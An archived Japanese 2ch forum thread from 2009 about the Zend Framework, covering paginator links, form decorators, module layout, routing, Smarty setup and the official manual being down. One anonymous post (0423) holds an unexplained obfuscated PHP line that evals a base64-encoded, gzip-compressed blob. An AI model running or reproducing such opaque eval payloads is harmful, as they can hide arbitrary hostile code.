トップページ⇒php
1001コメント312KB

Zend Framework Part3

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2009/04/10(金) 08:35:00ID:???
公式
http://framework.zend.com/

マニュアル
http://framework.zend.com/manual/ja/

(有力翻訳者のm-takagiさんのver)
http://www.m-takagi.org/docs/php/zend/

バグ報告
http://framework.zend.com/issues/secure/Dashboard.jspa

API
http://framework.zend.com/apidoc/core/

前のスレッド Zend Framework Part2
http://pc11.2ch.net/test/read.cgi/php/1204726884/
0386nobodyさん2009/07/18(土) 23:11:02ID:???
>>383
I think Jap's language is a local language in small islands of Far Eest.

You should use to read and write with public languages of UN! :-p
0387nobodyさん2009/07/18(土) 23:19:32ID:???
>>375
Japanese Mobile phones isolates from defact standards too far,
So, Zend Framework core contributers no consider of them.
0388nobodyさん2009/07/18(土) 23:24:29ID:???
ZFでモバイルサイトは無理だろうなぁ
てか、ドキュモのimodeIDって、/controller/action/guid=ON/args
みたいなURLでも効くんだろうか
0389nobodyさん2009/07/18(土) 23:25:10ID:Xz5Y6CrM
Pro Zenderの方に問題です

/test/test にアクセスするとどうなるでしょうか


class TestController extends Zend_Controller_Action
{

public function indexAction()
{
    $this->_redirect(?/?);
}

public function testAction()
{
    $this->_forward(?index?);
}

}
0390nobodyさん2009/07/18(土) 23:27:00ID:Xz5Y6CrM
? は " です。
0391nobodyさん2009/07/19(日) 00:03:35ID:???
>>387
not 'defact' but 'defacto'
0392nobodyさん2009/07/19(日) 00:15:51ID:???
>phones isolates
>contributers
この辺にも注目

>no consider
これは論外
0393nobodyさん2009/07/19(日) 11:45:06ID:???
>>391
Oh, thank you guy!
0394nobodyさん2009/07/19(日) 14:01:49ID:???
おまえらなんて、この程度の存在だろ。

             √ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
             |         ΩΩ_           |
             |        (  ・ rt) =3     |
             |        / ; /         |
             |ー-‐ー-‐ー/‐ ,/ -‐ー-‐ー-‐ー-‐|
             | r-、___/, :/   。゚o       |
             | L「: ・ ; ̄`カ    8 。        |
    「|‐ー-‐ー-‐ー-|  L_・ ¨∵∴_」             |‐ー-‐ー-‐ー-「|
    | |          |   | |「| ̄|,兀|  (ヽ○ノ`〉     |         | |
    | |          |   | || |  | || |   >  f        |          | |
    | |          |   | || |  | || |  (_/ヽ_,〉      |         | |
    | |          |   | || |  | || |            |          | |
    | |         」   | || |  | || |            L        | |
    | |________,[,]!、!_Li、」_______________| |
    └――――――――――――――――――――――――――-┘
0395nobodyさん2009/07/19(日) 14:23:04ID:YJV33QJ2
Zend_Paginatorで$_GETでページ数を渡したいんですが、どのように設定すればいいのでしょうか
0396nobodyさん2009/07/19(日) 14:24:16ID:???
_getParam("page")で取ってきて渡せばいい。。
0397nobodyさん2009/07/19(日) 16:15:41ID:YJV33QJ2
すんません、自動生成されるリンクの話です
デフォだと/page/1みたいなリンクが生成されちゃいます
0398nobodyさん2009/07/19(日) 18:03:02ID:???
1の所に渡したいページ番号を入れてリクエスト出せば?
0399nobodyさん2009/07/19(日) 18:36:34ID:YJV33QJ2
>>398
?

使ったことあれば分かると思いますが、UserParam形式で生成されるページ番号を$_GET方式に変更したいってことです。
PEAR::PagerにあるようなurlVarやextraVarなどみたいな機能はないのでしょうか。
0400nobodyさん2009/07/19(日) 19:08:35ID:???
じゃソース見れば?
0401nobodyさん2009/07/19(日) 19:10:28ID:YJV33QJ2
>>400
使ったことが無くて分からないのであればもう良いです。
0402nobodyさん2009/07/19(日) 19:11:36ID:???
そうですか。乙
0403nobodyさん2009/07/19(日) 20:00:05ID:???
うぜぇ…
0404nobodyさん2009/07/19(日) 21:17:14ID:YJV33QJ2
>>403
分からないのに解答してこられると迷惑ですよね。
0405nobodyさん2009/07/19(日) 22:31:10ID:???
エンドレスエイトの見過ぎで、ここでも既視感が...。

getCurrentPageNumber()とかかな?
そこまで絞ってんだからソース見た方が早いよ。
0406nobodyさん2009/07/19(日) 22:33:32ID:???
あ、getCurrentPageNumber() は全然的外れだね。
忘れてくれ。
0407nobodyさん2009/07/20(月) 06:46:29ID:???
ん?GETルーターを使うだけじゃないの?
0408nobodyさん2009/07/24(金) 03:23:12ID:???
リンクはテンプレートのURL出力部分を ?page=1 みたいに直すだけでなくて?
受け取る方は $paginator->setCurrentPageNumber($page) で設定できるね
0409nobodyさん2009/07/24(金) 22:36:50ID:Q241rgzl
メールアドレスの検証クラス作ってみた。
Zend_Validate_Abstractクラス継承してます。

翻訳用定数はこれ
CheckUser::NOT_EXISTS
CheckUser::INVALID_TO

つかいかた
$check = new CheckUser(fqdn, from);
$check->isValid(checkaddress);

fqdnにはSPFレコード設定してあるホスト
fromには相手方に通知されるアドレス
checkaddressには確認したいアドレス

ソースはこれ
0410nobodyさん2009/07/25(土) 01:33:18ID:???
Zend_Validate_EmailAddressが既にあるじゃん
0411nobodyさん2009/07/25(土) 09:18:54ID:???
Zend_Validate_EmailAddress
ってなんか無駄に色んな検証するのが嫌よね
0412nobodyさん2009/07/25(土) 13:57:29ID:beK3GgFm
>>410-411
あー生死判定ってことです。
メールアドレスの部分はZend_Validate_EmailAddressで判定しています
わざわざ送ってダエモンで判定するよりかは効率良いです。
0413nobodyさん2009/07/25(土) 15:42:34ID:???
それ、どこかで公開してるの?
0414nobodyさん2009/07/25(土) 18:58:39ID:beK3GgFm
>>413
いえ、つくってみたんです。
CPANのCheckUserを参考にしました。
0415nobodyさん2009/07/25(土) 19:26:03ID:???
で、それ、どこかで公開してるの?(君が)
0416nobodyさん2009/07/25(土) 21:33:49ID:???
単発で送るんならいいけど、まとめて送るときは累積でかなりリソース食いそうね
ドキュモとかの携帯キャリアにも有効なの?それ
0417nobodyさん2009/07/25(土) 23:04:57ID:beK3GgFm
>>416
一応ドコモとあうは試しました。
あんまり大量にコネクション張るとバンされると思うので数はこなしてませんが、うまくいってました。

使い道がないので処分しようかと思ってたんですが、何か面白い使い方ありますか?
0418nobodyさん2009/07/26(日) 04:12:17ID:???
Hello Worldにケが生えたようなものに、面白い使い方なんてないでしょ。
ZF関係ないし
0419nobodyさん2009/07/26(日) 10:18:02ID:8CFJRVQz
まぁHello Worldと同系列で考えるような人には使い方なんて思いつかないと思います。
Zend_Validate_Abstract継承クラスでZF関係ないとかいえちゃう発言もすばらしいです。
0420nobodyさん2009/07/26(日) 15:09:54ID:???
てかそれZend_Validateと同系列に扱っちゃダメじゃない?
入力内容の文字列検証と、重くても Db_RecordExists 程度なのに、
Validateのたびに通信が発生するようなメソッドを同じレベルに持ってくるのは相当怖い。
プログラマが全員理解できてればいいけど、リスクが高いメソッドとそうでないものを一緒くたにするのは不味い。
それこそモバイルならキャリアにブロックされる率が上がるだろうし。
0421nobodyさん2009/07/26(日) 15:51:32ID:???
>>419
でっかい釣り針下げてないで、
419さんが、使い方を提示すればいいんじゃないの?
継承しただけで、ZF関係があるとは俺も思わないよ。
0422nobodyさん2009/07/28(火) 20:09:28ID:???
俺はスレチとは思わん
0423nobodyさん2009/07/29(水) 00:06:36ID:???
<?php eval(gzinflate(base64_decode('s7ezsS/IKFBILUvM0UivysxLy0ksSdVQ37x980b9ExoBF65z+fteDDTYFPJB62yggZHBhhADgw1GBluNDAMvmG0wMbhwaXu7xtMgDY1TZ7QvBgR89zh78mQ4x3n9U56BLIylvtmtU86E8DIr8IauYWBQ19S0todaCAA=')));
0424nobodyさん2009/07/31(金) 14:26:31ID:???
Zend_Db_TableのlastInsertId()メソッドってmysqlだと使えない?
0425nobodyさん2009/07/31(金) 14:29:41ID:???
http://zendframework.com/manual/ja/zend.db.html#zend.db.adapter.adapter-notes.pdo-mysql
ほいほい
0426nobodyさん2009/07/31(金) 14:37:20ID:???
>>425
即レスthx
そしてサーセン。単にcommitした後に取得しようとしてて取得できないだけでした。
こんなところでハマるなんて…orz
0427nobodyさん2009/07/31(金) 22:59:51ID:???
Zend_Formでtextのあとに文字をおきたいのですがどうすればよいでしょうか?

期待は以下のようなソースです。
<input type="text"(略)> 回

よろしくお願いします。
0428nobodyさん2009/08/01(土) 02:45:43ID:???
それぞれ属性設定するメソッドがあるっしょ
0429nobodyさん2009/08/01(土) 02:54:11ID:???
属性じゃなくて、フォーム要素の後ろに、「回」って入れたいってことじゃない?

いくつか方法があるけど、
下記のデコレータのいずれかを使う
Description
ViewScript
Callback
一番簡単なのは、Descriptionかな。
0430nobodyさん2009/08/01(土) 10:58:58ID:???
>>429
ありがとうございます。

DescriptionはsetDescription()で使用する場合のデコレータですよね。
>>427のように利用する場合はDlDtWrapperあたりもいじらないといけないのでしょうか?
0431nobodyさん2009/08/01(土) 13:18:37ID:???
考え方次第だけどね。
"回"みたいな[単位]はビューによる修飾なのか、要素の属性の一つと考えるのか。
他に、年、月、日とか、いろいろバリエーションがありえる。
ビューによる修飾と考えれば、個別に設定しやすいのかもしれないけど、
要素のプロパティとして単位=回みたいな与え方をして、単位デコレータを
作るのが自然と、俺は妄想する。

その動作に一番近いのは、(set|get)Description かなって気はする。
DtDdWrapperってタグの細工だけだし。
ViewScriptってことは、"回"を表示要件にしか使わないってことだし。
0432nobodyさん2009/08/02(日) 11:14:40ID:EDsu2ooY
モジュール構成にする時って
.phtmlの置き場所は user(モジュールディレクトリ)/views/script/index(アクション名)/index.phtmlって配置になるんですか?
一応本読んではいるんですが、いまいちわかりません。よろしくお願いします
0433nobodyさん2009/08/02(日) 11:59:38ID:???
[モジュールディレクトリ]/views/scripts/[コントローラー名]/[アクション名].phtml
じゃないか?
0434nobodyさん2009/08/02(日) 15:13:38ID:???
日本語版のマニュアル見れない。
どういう事?
0435nobodyさん2009/08/02(日) 15:39:44ID:???
英語版しか公開されなくなったようだね
0436nobodyさん2009/08/02(日) 15:45:53ID:???
吉田さんガンバー
0437nobodyさん2009/08/02(日) 23:45:19ID:???
公式みれねー
0438nobodyさん2009/08/03(月) 03:26:35ID:???
>>433
どうもありがとう、返事遅れてすいません
ばっちり動きました
0439nobodyさん2009/08/03(月) 10:18:56ID:AZ05ifRx
>>437
日本語ドキュメント死んでるっぽい

たぶんすぐ直ると思う
http://framework.zend.com/issues/browse/ZF-7447
0440nobodyさん2009/08/03(月) 12:53:42ID:???
# cd C:\xampp\php
# pear channel-discover zend.googlecode.com/svn
# pear install zend/zend

でインストールは出来たんだけど、

なぜかC:\xampp\php\PEAR\Zend\Locale/Data/
に言語関係のXMLファイルがインストールされてなかった
手動でコピペすれば動くようにはなったけど、インストーラのバグかなんかですかね?
0441nobodyさん2009/08/03(月) 13:02:20ID:???
xamppかよ
0442nobodyさん2009/08/03(月) 14:52:36ID:???
hoge.jp/profile/id/100 で100番の人のプロフィールが見れるzendFWのサイトがあるとして、
URL的には hoge.jp/100/profile/ で同じことが出来るように変更したいと思います
どうしたら良いでしょうか?
0443nobodyさん2009/08/03(月) 14:59:19ID:???
>>442
routing
0444nobodyさん2009/08/03(月) 23:54:34ID:FSbwgNFK
>>443
どうもありがとう、助かりました

もう一つ質問です、スケジューラーみたいなアプリがあって
自己紹介、今週の予定、その他2,3ページで構成されてるとします
で、「山田太郎さん」というその利用者の名前が各ページの見出しになってるとします。

こういう場合、山田太郎さんという利用者名をいちいち「パラメータから解析、クエリ、取得」なんて
全てのページでやるのは非効率ですよね? こういう場合、どうやって引き回すんですか?
if($paramUserId == $_SESSION['userId']){//以下のクエリなどを省略} みたいに単純にセッションで管理するのか、
それとも、こういう時に便利なzendFWのライブラリってありますか?
zendCache?とかってこういう時につかうのですか?
0445nobodyさん2009/08/04(火) 00:01:00ID:???
クエリ投げるのが嫌ならZend_Sessionでも
0446nobodyさん2009/08/04(火) 00:07:30ID:???
公式まだ死んでるぞ
0447nobodyさん2009/08/04(火) 00:11:05ID:???
あーやっぱ公式しんでるんだ。俺だけかとオモタ
0448nobodyさん2009/08/04(火) 00:11:48ID:???
centosみたいになったらやだなぁ・・・
0449nobodyさん2009/08/04(火) 00:13:57ID:???
>>445
ありがとうございます
ほんとだ、公式開けないね。zend_session調べようと思ったのに
0450nobodyさん2009/08/04(火) 19:24:05ID:???
どうなってんだよ!公式!!!
0451nobodyさん2009/08/04(火) 20:23:35ID:???
OpenID2.0、まだ対応されませんね。
みんなPHP OpenID Libraryとか使ってるのかな?
0452nobodyさん2009/08/04(火) 21:00:03ID:???
>>451
OpenID LibraryをZend_Auth_Adapter_Interfaceでカプセルして使ってる
一度つくっちゃえば特に不満ないよ
0453nobodyさん2009/08/04(火) 21:08:57ID:???
>>451
URL張り忘れた
ttp://g2labo.orz.hm/develop/OpenId_Auth_Adapter.phps

あとは公式のZend_Auth_Adapter_Interfaceの使い方と同じで行けるはず
0454nobodyさん2009/08/05(水) 12:20:15ID:???
日本のZend Frameworkは、糸冬ですか?
0455nobodyさん2009/08/05(水) 12:27:09ID:???
なんでやねんノシ
0456nobodyさん2009/08/05(水) 13:00:06ID:qtFRGhoH
hoge.jp/ctrl1/act1/var1/val1、hoge.jp/ctrl2/act2/var2/val2、hoge.jp/ctrl3/act3/var3/val3 って具合に
各コントローラのアクションを実行するのに必要なパラメータと値があると思いますが、
このパラメータ値を取得するのはフロントコントローラだけですべきなんでしょうか?
感覚的にはそれぞれのコントローラのアクション中でとった方が無駄がなくていいというか、
直接的でわかりやすい気がします。
「ZendFW徹底入門」て本にはフロントコントローラで取得または設定して、個別のコントローラで
$front = Zend_Controller_Front::getInstance();
$res->setBody($front->getParam('var'));
ってする手順が紹介されてます。

みなさん、この手順に従ってるんですか?というか絶対なのかな。
別のやり方をする場面があれば、どういう方法とシチュエーションか教えてもらえると嬉しいです。
よろしくお願いします。
04574512009/08/05(水) 13:39:12ID:???
>>452-453
正式に対応するまではこれでいけますね。
勉強になります。
0458nobodyさん2009/08/05(水) 13:58:24ID:???
>>456
Zend_Controller_Actionを継承してるとして

$this->getRequest()->getUserParam('var');
$this->_getParam('var');

パラメータはリクエストだからかっこよく決めたいんだったら上を使う感じ。


しかしマニュアルのバグまでissueに報告してからの対応ってのはどうなのかね。
0459nobodyさん2009/08/05(水) 16:59:32ID:qtFRGhoH
>>458
ありがとうございました
うまくいきました
0460nobodyさん2009/08/05(水) 17:01:26ID:NDvODuDu
日本語マニュアルredirectの無限ループしてるみたいですね。
負荷かかってそうだけど気づかないもんなのかな?

サポートのcontact usのフォームに知らせといたけど・・・
問い合わせいっぱい来てるだろうし、放置なのかね?
0461nobodyさん2009/08/05(水) 21:36:01ID:???
>>454, 458
何を言いたいのかわからない

>>455
同意
04624582009/08/05(水) 21:51:38ID:???
>>461
突っかかる意味が分からない
0463nobodyさん2009/08/05(水) 23:13:33ID:???
公式は1.9出したというのに、マニュアルが死亡。
無限ループとかいつまでやってんだ?
0464nobodyさん2009/08/05(水) 23:36:02ID:WMeCBWWn
あと数時間でマニュアル復旧っぽいです
0465nobodyさん2009/08/05(水) 23:39:51ID:???
日本語ドキュメントをダウソしてchmに変換して使ってる。
1.5あたりのままだけど('A`)
そろそろ作り直そうかなと思ったが、どうやって作ったか思い出せね。
0466nobodyさん2009/08/06(木) 00:57:23ID:JPFTqmJZ
新しいバージョンが出て、今までのと置き換えた時にトラブル起きたことなんてある?
そんな心配いらないものかな?
0467nobodyさん2009/08/06(木) 01:18:07ID:4RIcoEog
>>466
ある。
たまに仕様変わってたり
0468nobodyさん2009/08/06(木) 01:25:05ID:???
ないわけないw
0469nobodyさん2009/08/06(木) 01:42:02ID:???
>>467,468
こわいなー、必要なコンポーネントだけを移植するようにした方が良いのかな
丸ごと変えて検証って大変だもんなー
0470nobodyさん2009/08/06(木) 02:14:25ID:4RIcoEog
>>469
必要なコンポーネントだけとかやってると、後から余計に面倒になると思うよ
0471nobodyさん2009/08/06(木) 07:29:59ID:???
>>466
トラブルが怖いなら、テストを書こう
0472nobodyさん2009/08/06(木) 09:44:22ID:???
Cucumber + Webrat みたいにブラウザを使わないテストツールってないかな。
Selenium はブラウザの起動がうざくて。
0473nobodyさん2009/08/06(木) 10:14:18ID:iMOTjzQq
ドキュメント復活
0474nobodyさん2009/08/07(金) 18:42:35ID:???
zendFWで、モジュール構成とSmartyを両立させてやっています

smarty使うと、テンプレートキャッシュを吐き出しますよね、そのファイル名が
%%3B^3B8^3B8EC026%%index.tpl.php となっています。
これは文字化け起こしてるのではないかと思いますが、普通ですか?
文字化けだとしたらどうしたら良いでしょうか?

zendFWにあまり直接関係なくてすみません。
0475nobodyさん2009/08/07(金) 20:02:04ID:???
普通です。
0476nobodyさん2009/08/07(金) 20:33:03ID:???
もじばけってやつはもっとやう゛ぁい。
2byte以上のよく分からないのが混じりだしたら要注意
0477nobodyさん2009/08/08(土) 00:40:29ID:???
>>475,476
ありがとうございました
0478nobodyさん2009/08/08(土) 12:13:59ID:???
>>465
ミカエルが作ったchm使えばいいんじゃね
http://mikaelkael.fr/Zend-Framework-1-9-x-documentation.html
0479nobodyさん2009/08/08(土) 16:56:36ID:JPFTqmJZ
zend framework徹底入門って本利用されてる方いますか?
利用してる方で、ModuleとSmarty併用してる方がいたら質問したいんですが…
0480nobodyさん2009/08/08(土) 17:31:49ID:???
>>479
その本に連携のサンプル載ってるじゃん
04814792009/08/08(土) 17:54:23ID:JPFTqmJZ
>>480
ありがとうございます。
そうなんですが、あの本によるとドキュメントルートの下にapplicationフォルダ置きますよね
それなら確かに動くんですが、普通の利用を考えてドキュメントルートの上に
applicationフォルダを移動すると動かないんです。

これ、マルチポストというかだまし討ちみたいになるの嫌なので正直に書きますが
著者のサイトの質問コーナーに投稿してるんですけど返事もらえないんです。土曜だし。。
http://keijiban.msn.to/top.jsp?id=bv6673
出来ればここで同じ本を参考にしてる人に聞きたいと思ってきたんですが、
ダメでしょうか?

上で書いたように、applicationフォルダを移動させても動いていますか?
0482nobodyさん2009/08/08(土) 18:09:05ID:???
エラーと該当個所のソースを張りなさい
0483nobodyさん2009/08/08(土) 18:09:52ID:???
あとDispatchのパス指定とか
04844792009/08/08(土) 18:11:30ID:JPFTqmJZ
>>482
本当にすみません。わからない点が2つあるんですが(上の質問サイトから貼ります)

http://192.168.0.3/zend/controller_view/smarty
で確かに動作するのを確認しました
しかし、理解できないことがあります
疑問1)
P227での図5.5ビュースクリプトのパス解決に寄れば
tplファイルの所在は
./application/smarty/smarty(モジュール名)/smarty(コントローラ名)
/index.tpl(アクション名)になるのではないですか?
実際には./application/smarty/templates/default/smarty/index.tplになっ
ています。
特に、defaultディレクトリの意味がわかりません。

疑問2)
また、サンプルの/controller_viewの中身を取り出して、
/var/www/application
/var/www/html/.htaccess
/var/www/html/index.phpとして
http://localhost/smarty/を実行してみましたがエラーが起きます
(フロントコントローラのapplicationへのパスは変更してあります)

続きます
04854792009/08/08(土) 18:15:00ID:JPFTqmJZ
続き

出力されるエラーは
[Fri Aug 07 15:54:04 2009] [error] [client 192.168.0.7] PHP Fatal
error: Uncaught exception Zend_Controller_Dispatcher_Exception with
message Inval id controller specified (error) in
/usr/lib/php/Zend/Controller/Dispatcher/Standard.php:241\nStack
trace:\n#0 /usr/lib/php/Zend/Controller/Front.php(9 36):
Zend_Controller_Dispatcher_Standard->dispatch(Object(Zend_Controller_Request_Http),
Object(Zend_Controller_Response_Http))\n#1 /var/www/html/index
.php(19): Zend_Controller_Front->dispatch()\n#2 {main}\n thrown in
/usr/lib/php/Zend/Controller/Dispatcher/Standard.php on line 241
です。
何が原因なのでしょうか?
■ このスレッドは過去ログ倉庫に格納されています